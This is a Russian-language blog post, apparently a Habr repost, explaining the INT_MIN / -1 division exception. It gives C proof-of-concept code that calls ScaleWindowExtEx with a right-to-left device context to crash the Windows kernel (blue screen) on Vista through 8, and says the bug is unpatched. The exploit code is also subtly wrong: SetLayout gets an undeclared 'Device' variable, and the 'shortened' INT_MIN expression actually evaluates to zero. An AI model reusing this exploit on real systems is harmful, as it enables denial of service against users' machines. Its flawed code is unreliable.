Немного теории
В случае недопустимой инструкции процессор бросает исключение, а ОС уже сама решает, что с этим делать. Если это ошибка в программе и она никак не обрабатывается, то система выдает всем известное сообщение о том, что прекращена работа программы.
Например, в этом коде деление на ноль — недопустимая инструкция.
#include <stdio.h> int main() { int a = 2 / 0; printf ("%d", a); return 0; }
Если скомпилировать этот код без оптимизации, то мы увидим то самое окно о прекращении работы программы (конечно, компилятор выдаст warning).
Если же выполняется недопустимая инструкция в ядре системы, то все немного интереснее: мы увидим синий экран.
INT_MIN / -1
Есть еще одна исключительная инструкция — деление INT_MIN на -1.
Дело в том, что INT_MIN=−2,147,483,648=-231, а INT_MAX=2,147,483,647=231-1. Довольно очевидно, почему они отличаются на единицу: невозможно в int запихнуть ноль, множество положительных чисел и множество отрицательных чисел так, чтобы количество положительных и отрицательных чисел было равно.
Получается, при делении INT_MIN на -1 результат не умещается в int и процессор бросает исключение.
Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:
#include <stdio.h> #include <limits.h> int main() { int a = INT_MIN; int b = -1; int c = a / b; printf ("%d", c); return 0; }
Ядро Windows
В ядре Windows принято не использовать переменные с плавающей точкой. Прямо вообще-вообще не использовать. Поэтому когда приходится работать с чем-то нецелым, используют две целочисленные переменные: числитель и знаменатель.
Также для увеличения производительности некоторые WinAPI функции, вызываемые программой, выполняются в ядре системы. Пример такой функции — ScaleWindowExtEx. Она ничего особенного не делает — функция масштабирует окно.
Прототип функции:
BOOL ScaleWindowExtEx( _In_ HDC hdc, _In_ int Xnum, _In_ int Xdenom, _In_ int Ynum, _In_ int Ydenom, _Out_ LPSIZE lpSize );
Сама программа
Отлично, это то, что нам нужно. Второй и третий параметры, четвертый и пятый параметры — это как раз числитель и знаменатель.
Xnum / Xdenom — масштабирование по x.
Ynum / Ydenom — масштабирование по y.
Но функция не всегда делит одно число на другое. Функция будет делить одно число на другое в случае, если разметка контекста рисования (device context) располагается справа налево. В противном случае она, видимо, будет перед делением как-то менять эти числа. Чтобы поменять разметку контекста, есть функция SetLayout.
Значит, создаем контекст рисования вызовом CreateCompatibleDC (NULL). Устанавливаем разметку контекста с помощью SetLayout. После чего вызываем функцию ScaleWindowExtEx с нужными параметрами.
Конечно, программисты Майкрософт не полные дебилы проверяют деление на ноль, и передачей третьим параметром числа ноль Windows не уронишь.
Но вот деление INT_MIN на -1 они не проверяют. Из-за чего происходит необработанное исключение в ядре системе, что приводит к синему экрану.
Такой код программы при добавлении библиотеки gdi32.lib уронит Windows:
#include <windows.h> #include <limits.h> int main() { HDC dc = CreateCompatibleDC (NULL); SetLayout (Device, LAYOUT_RTL); ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL); }
Его можно подсократить до шести строчек для добавления пафосного заголовка:
#include <windows.h> int main() { HDC dc = CreateCompatibleDC (NULL); SetLayout (Device, LAYOUT_RTL); ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL); }
Тут INT_MIN заменен на ((int) 0x8000/0x80000000), чтобы не добавлять лишнюю строчку, подключая файл limits.h. Конечно, можно код сократить до двух строчек, но тогда он уже будет совсем нечитабелен. Да и все функции на Си всегда можно сократить в одну очень-очень длинную строчку.
Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной.
Эта уязвимость в системе до сих пор не исправлена и неизвестно, когда они ее исправят и сделают они это вообще.
P.S. Раньше с помощью такой недопустимой инструкции можно было убить bash, но сейчас это исправили.
ссылка на оригинал статьи http://habrahabr.ru/post/179543/
Добавить комментарий